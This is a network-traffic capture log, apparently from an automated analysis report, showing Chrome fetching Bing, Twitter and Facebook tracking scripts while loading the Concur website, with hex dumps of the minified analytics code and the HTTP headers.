","items"],begin_checkout:["revenue_value","currency","items","coupon"],checkout_progress:["revenue_value","currency","items","coupon","checkout_step","checkout_option"],exception:["description","fatal"],generate_lead:["revenue_value","currency","transact
2024-10-03 08:41:46 UTC	4144	IN	Data Raw: 65 72 74 79 28 22 64 69 73 61 62 6c 65 43 6f 6e 74 61 69 6e 65 72 22 29 26 26 28 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 43 6f 6e 74 61 69 6e 65 72 3d 6f 2e 64 69 73 61 62 6c 65 43 6f 6e 74 61 69 6e 65 72 3d 3d 3d 21 30 29 3b 6f 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 61 6c 74 22 29 26 26 28 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 69 6d 67 41 6c 74 3d 6f 2e 61 6c 74 29 3b 6f 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 63 6c 61 72 69 74 79 50 72 6f 6a 65 63 74 49 64 22 29 26 26 6f 2e 63 6c 61 72 69 74 79 50 72 6f 6a 65 63 74 49 64 26 26 74 79 70 65 6f 66 20 6f 2e 63 6c 61 72 69 74 79 50 72 6f 6a 65 63 74 49 64 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 Data Ascii: erty("disableContainer")&&(this.uetConfig.disableContainer=o.disableContainer===!0);o.hasOwnProperty("alt")&&(this.uetConfig.imgAlt=o.alt);o.hasOwnProperty("clarityProjectId")&&o.clarityProjectId&&typeof o.clarityProjectId=="string"&&(n=document.createEle
2024-10-03 08:41:46 UTC	8192	IN	Data Raw: 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 3b 68 3d 75 3d 3d 3d 74 68 69 73 2e 70 61 67 65 56 69 65 77 45 76 74 3f 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 45 76 74 3a 74 68 69 73 2e 63 75 73 74 6f 6d 45 76 74 3b 74 68 69 73 2e 65 76 74 28 68 2c 75 2c 73 2c 6e 5b 32 5d 29 7d 65 6c 73 65 20 69 66 28 6e 5b 30 5d 3d 3d 3d 22 73 65 74 22 29 7b 69 66 28 74 79 70 65 6f 66 20 6e 5b 31 5d 5b 30 5d 21 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 3b 66 6f 72 28 69 20 69 6e 20 6e 5b 31 5d 5b 30 5d 29 74 68 69 73 2e 6b 6e 6f 77 6e 50 61 72 61 6d 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 28 74 68 69 73 2e 70 61 67 65 4c 65 76 65 6c 50 61 72 61 6d 73 5b 69 5d 3d 6e 5b 31 5d 5b 30 5d 5b 69 5d 2c 69 3d 3d 3d 22 70 69 64 22 26 26 74 68 69 73 2e Data Ascii: undefined)return;h=u===this.pageViewEvt?this.pageLoadEvt:this.customEvt;this.evt(h,u,s,n[2])}else if(n[0]==="set"){if(typeof n[1][0]!="object")return;for(i in n[1][0])this.knownParams.hasOwnProperty(i)&&(this.pageLevelParams[i]=n[1][0][i],i==="pid"&&this.
2024-10-03 08:41:46 UTC	8192	IN	Data Raw: 6e 2e 6d 74 70 3d 6e 61 76 69 67 61 74 6f 72 2e 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 29 2c 6e 7d 3b 74 68 69 73 2e 72 65 6d 6f 76 65 54 72 61 69 6c 69 6e 67 41 6d 70 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 6e 2e 63 68 61 72 41 74 28 6e 2e 6c 65 6e 67 74 68 2d 31 29 3b 72 65 74 75 72 6e 28 74 3d 3d 3d 22 26 22 7c 7c 74 3d 3d 3d 22 3f 22 29 26 26 28 6e 3d 6e 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 6e 2e 6c 65 6e 67 74 68 2d 31 29 29 2c 6e 7d 3b 74 68 69 73 2e 68 65 6c 70 65 72 45 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 74 79 70 65 6f 66 20 43 75 73 74 6f 6d 45 76 65 6e 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 76 61 72 20 74 3d 7b 65 72 72 4d 73 67 3a 6e 2c 74 61 67 49 64 3a 74 68 69 73 2e 62 65 61 63 6f 6e 50 61 Data Ascii: n.mtp=navigator.maxTouchPoints),n};this.removeTrailingAmp=function(n){var t=n.charAt(n.length-1);return(t==="&"\|\|t==="?")&&(n=n.substring(0,n.length-1)),n};this.helperError=function(n){if(typeof CustomEvent=="function"){var t={errMsg:n,tagId:this.beaconPa
2024-10-03 08:41:46 UTC	8192	IN	Data Raw: 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 61 67 65 74 79 70 65 22 29 3e 30 3f 28 74 2e 70 61 67 65 74 79 70 65 3d 74 68 69 73 2e 76 61 6c 69 64 61 74 65 50 61 67 65 54 79 70 65 28 74 2e 70 61 67 65 74 79 70 65 2c 74 68 69 73 2e 76 61 6c 69 64 52 65 74 61 69 6c 50 61 67 65 54 79 70 65 56 61 6c 75 65 73 29 2c 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 72 6f 64 69 64 22 29 3e 30 26 26 28 74 2e 70 72 6f 64 69 64 3d 74 68 69 73 2e 76 61 6c 69 64 61 74 65 50 72 6f 64 49 64 28 74 2e 70 72 6f 64 69 64 29 29 29 3a 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 70 72 6f 64 69 64 22 29 3e 30 26 26 74 68 69 73 2e 74 68 72 6f 77 45 72 72 6f 72 28 74 68 69 73 2e 6d 69 73 73 69 6e 67 50 61 67 65 54 79 70 65 45 78 63 65 70 74 69 6f 6e Data Ascii: t.hasOwnProperty("pagetype")>0?(t.pagetype=this.validatePageType(t.pagetype,this.validRetailPageTypeValues),t.hasOwnProperty("prodid")>0&&(t.prodid=this.validateProdId(t.prodid))):t.hasOwnProperty("prodid")>0&&this.throwError(this.missingPageTypeException
2024-10-03 08:41:46 UTC	8192	IN	Data Raw: 75 3c 3d 33 3f 74 5b 69 5d 3d 22 22 3a 64 65 6c 65 74 65 20 74 5b 69 5d 2c 72 3d 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 54 6f 52 65 71 75 65 73 74 28 74 29 2c 66 3d 74 68 69 73 2e 72 65 6d 6f 76 65 54 72 61 69 6c 69 6e 67 41 6d 70 28 65 2b 72 29 29 3b 74 68 69 73 2e 66 69 72 65 42 65 61 63 6f 6e 49 6d 67 28 66 29 3b 74 68 69 73 2e 73 6e 69 70 70 65 74 45 76 65 6e 74 51 75 65 75 65 2e 70 75 73 68 28 72 29 3b 74 68 69 73 2e 73 6e 69 70 70 65 74 45 76 65 6e 74 51 75 65 75 65 2e 6c 65 6e 67 74 68 3e 32 30 26 26 74 68 69 73 2e 73 6e 69 70 70 65 74 45 76 65 6e 74 51 75 65 75 65 2e 73 68 69 66 74 28 29 3b 74 72 79 7b 74 79 70 65 6f 66 20 43 75 73 74 6f 6d 45 76 65 6e 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 73 3d 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 Data Ascii: u<=3?t[i]="":delete t[i],r=this.stringifyToRequest(t),f=this.removeTrailingAmp(e+r));this.fireBeaconImg(f);this.snippetEventQueue.push(r);this.snippetEventQueue.length>20&&this.snippetEventQueue.shift();try{typeof CustomEvent=="function"&&(s=new CustomEve
2024-10-03 08:41:46 UTC	1747	IN	Data Raw: 28 21 74 68 69 73 2e 69 73 41 64 53 74 6f 72 61 67 65 41 6c 6c 6f 77 65 64 28 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 69 3d 6e 3d 3d 3d 30 3f 74 68 69 73 2e 73 65 73 73 69 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3a 74 68 69 73 2e 75 65 74 43 6f 6e 66 69 67 2e 76 69 64 43 6f 6f 6b 69 65 2c 74 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 69 2c 22 22 2c 74 68 69 73 2e 69 6e 73 69 67 68 74 73 43 6f 6f 6b 69 65 4d 61 78 4c 65 6e 67 74 68 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 74 72 69 6e 67 45 78 69 73 74 73 28 74 29 7c 7c 28 74 3d 74 68 69 73 2e 67 65 74 4c 6f 63 61 6c 53 74 6f 72 61 67 65 42 61 63 6b 75 70 28 69 2c 74 68 69 73 2e 69 6e 73 69 67 68 74 73 43 6f 6f 6b 69 65 4d 61 78 4c 65 6e 67 74 68 29 29 2c 74 68 69 73 2e 69 6e 73 69 67 68 Data Ascii: (!this.isAdStorageAllowed())return null;var i=n===0?this.sessionCookieName:this.uetConfig.vidCookie,t=this.getCookie(i,"",this.insightsCookieMaxLength);return this.stringExists(t)\|\|(t=this.getLocalStorageBackup(i,this.insightsCookieMaxLength)),this.insigh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50022	199.232.188.157	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	526	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	536	IN	HTTP/1.1 200 OK Connection: close Content-Length: 57671 Last-Modified: Tue, 26 Mar 2024 20:58:07 GMT ETag: "bbbcf811d8437a575d796a4c1e5d4fad" x-amz-server-side-encryption: AES256 Cache-Control: no-cache Content-Type: application/javascript; charset=utf-8 Accept-Ranges: bytes Date: Thu, 03 Oct 2024 08:41:46 GMT X-Served-By: cache-iad-kcgs7200117-IAD, cache-muc13955-MUC X-Cache: HIT, HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 36 31 37 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3b 74 2e 65 78 70 6f 72 74 73 3d 28 72 3d 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 26 26 28 72 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2e 63 72 79 70 74 6f 26 26 28 72 3d 73 65 6c 66 2e 63 72 79 70 74 6f 29 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 26 26 28 72 3d Data Ascii: !function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 74 68 69 73 2e 77 6f 72 64 73 3d 74 7c 7c 5b 5d 2c 74 68 69 73 2e 73 69 67 42 79 74 65 73 3d 6e 75 6c 6c 21 3d 65 3f 65 3a 34 2a 74 2e 6c 65 6e 67 74 68 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 66 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 2c 63 6f 6e 63 61 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 77 6f 72 64 73 2c 6e 3d 74 2e 77 6f 72 64 73 2c 72 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 2c 69 3d 74 2e 73 69 67 42 79 74 65 73 3b 69 66 28 74 68 69 73 2e 63 6c 61 6d 70 28 29 2c 72 25 34 29 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 6e 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 72 2b 6f Data Ascii: this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|f).stringify(this)},concat:function(t){var e=this.words,n=t.words,r=this.sigBytes,i=t.sigBytes;if(this.clamp(),r%4)for(var o=0;o<i;o++){var a=n[o>>>2]>>>24-o%48&255;e[r+o
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 70 61 72 73 65 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 7d 2c 70 3d 63 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 3d 75 2e 65 78 74 65 6e 64 28 7b 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 61 74 61 3d 6e 65 77 20 73 2e 69 6e 69 74 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 3d 30 7d 2c 5f 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 68 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 Data Ascii: ion(t){return d.parse(unescape(encodeURIComponent(t)))}},p=c.BufferedBlockAlgorithm=u.extend({reset:function(){this._data=new s.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigByt
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 65 28 72 29 26 26 28 69 3c 38 26 26 28 63 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 75 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 2b 2b 7d 28 29 3b 76 61 72 20 73 3d 5b 5d 2c 6c 3d 61 2e 53 48 41 32 35 36 3d 6f 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 69 2e 69 6e 69 74 28 63 2e 73 6c 69 63 65 28 30 29 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 72 3d 6e 5b 30 5d 2c 69 3d 6e 5b 31 5d 2c 6f 3d 6e 5b 32 5d 2c 61 3d 6e 5b 33 Data Ascii: r(var r=2,i=0;i<64;)e(r)&&(i<8&&(c[i]=n(t.pow(r,.5))),u[i]=n(t.pow(r,1/3)),i++),r++}();var s=[],l=a.SHA256=o.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(t,e){for(var n=this._hash.words,r=n[0],i=n[1],o=n[2],a=n[3
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 68 69 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 69 3d 72 2e 6c 65 6e 67 74 Data Ascii: r i=function(t){return new this((function(e,n){if(!t\|\|void 0===t.length)return n(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(t);if(0===r.length)return e([]);var i=r.lengt
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 76 6f 69 64 20 64 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 70 28 28 72 3d 6e 2c 69 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 63 61 74 63 68 28 65 29 7b 66 28 74 2c 65 29 7d 76 61 72 20 72 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e Data Ascii: void d(t);if("function"==typeof n)return void p((r=n,i=e,function(){r.apply(i,arguments)}),t)}t._state=1,t._value=e,d(t)}catch(e){f(t,e)}var r,i}function f(t,e){t._state=2,t._value=e,d(t)}function d(t){2===t._state&&0===t._deferreds.length&&u._immediateFn
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 28 74 29 7d 29 29 7d 2c 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 61 28 74 29 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 75 2e 72 65 73 6f 6c 76 65 28 74 5b 72 5d 29 2e 74 68 65 6e 28 65 2c 6e 29 7d 29 29 7d 2c 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 Data Ascii: turn new u((function(e,n){n(t)}))},u.race=function(t){return new u((function(e,n){if(!a(t))return n(new TypeError("Promise.race accepts an array"));for(var r=0,i=t.length;r<i;r++)u.resolve(t[r]).then(e,n)}))},u._immediateFn="function"==typeof setImmediate
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 68 72 6f 77 22 3d 3d 3d 69 29 74 68 72 6f 77 20 6f 3b 72 65 74 75 72 6e 20 43 28 29 7d 66 6f 72 28 6e 2e 6d 65 74 68 6f 64 3d 69 2c 6e 2e 61 72 67 3d 6f 3b 3b 29 7b 76 61 72 20 61 3d 6e 2e 64 65 6c 65 67 61 74 65 3b 69 66 28 61 29 7b 76 61 72 20 63 3d 67 28 61 2c 6e 29 3b 69 66 28 63 29 7b 69 66 28 63 3d 3d 3d 6c 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 63 7d 7d 69 66 28 22 6e 65 78 74 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 6e 2e 73 65 6e 74 3d 6e 2e 5f 73 65 6e 74 3d 6e 2e 61 72 67 3b 65 6c 73 65 20 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 7b 69 66 28 22 73 75 73 70 65 6e 64 65 64 53 74 61 72 74 22 3d 3d 3d 72 29 74 68 72 6f 77 20 72 3d 22 63 6f 6d 70 6c 65 74 65 64 22 2c 6e 2e 61 72 67 3b 6e 2e 64 69 73 70 61 74 63 68 Data Ascii: hrow"===i)throw o;return C()}for(n.method=i,n.arg=o;;){var a=n.delegate;if(a){var c=g(a,n);if(c){if(c===l)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if("suspendedStart"===r)throw r="completed",n.arg;n.dispatch
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 29 7d 28 69 2c 6f 2c 72 2c 61 29 7d 29 29 7d 72 65 74 75 72 6e 20 72 3d 72 3f 72 2e 74 68 65 6e 28 61 2c 61 29 3a 61 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 69 74 65 72 61 74 6f 72 5b 65 2e 6d 65 74 68 6f 64 5d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 69 66 28 65 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 7b 69 66 28 74 2e 69 74 65 72 61 74 6f 72 2e 72 65 74 75 72 6e 26 26 28 65 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 65 2e 61 72 67 3d 76 6f 69 64 20 30 2c 67 28 74 2c 65 29 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 29 72 65 74 75 72 6e 20 6c 3b 65 2e 6d 65 74 68 6f 64 3d 22 74 68 72 6f 77 22 2c 65 2e 61 72 67 3d 6e 65 Data Ascii: )}(i,o,r,a)}))}return r=r?r.then(a,a):a()}}function g(t,e){var n=t.iterator[e.method];if(void 0===n){if(e.delegate=null,"throw"===e.method){if(t.iterator.return&&(e.method="return",e.arg=void 0,g(t,e),"throw"===e.method))return l;e.method="throw",e.arg=ne
2024-10-03 08:41:46 UTC	1378	IN	Data Raw: 61 74 6f 72 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 21 21 65 26 26 28 65 3d 3d 3d 64 7c 7c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 65 2e 6e 61 6d 65 29 29 7d 2c 74 2e 6d 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 68 29 3a 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 68 2c 63 28 74 2c 61 2c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 29 29 2c 74 2e 70 Data Ascii: atorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===d\|\|"GeneratorFunction"===(e.displayName\|\|e.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,h):(t.__proto__=h,c(t,a,"GeneratorFunction")),t.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50027	157.240.253.1	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	1355	OUT	GET /signals/config/908266409244597?v=2.9.170&r=stable&domain=www.concur.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	1451	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'unsafe-inline' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
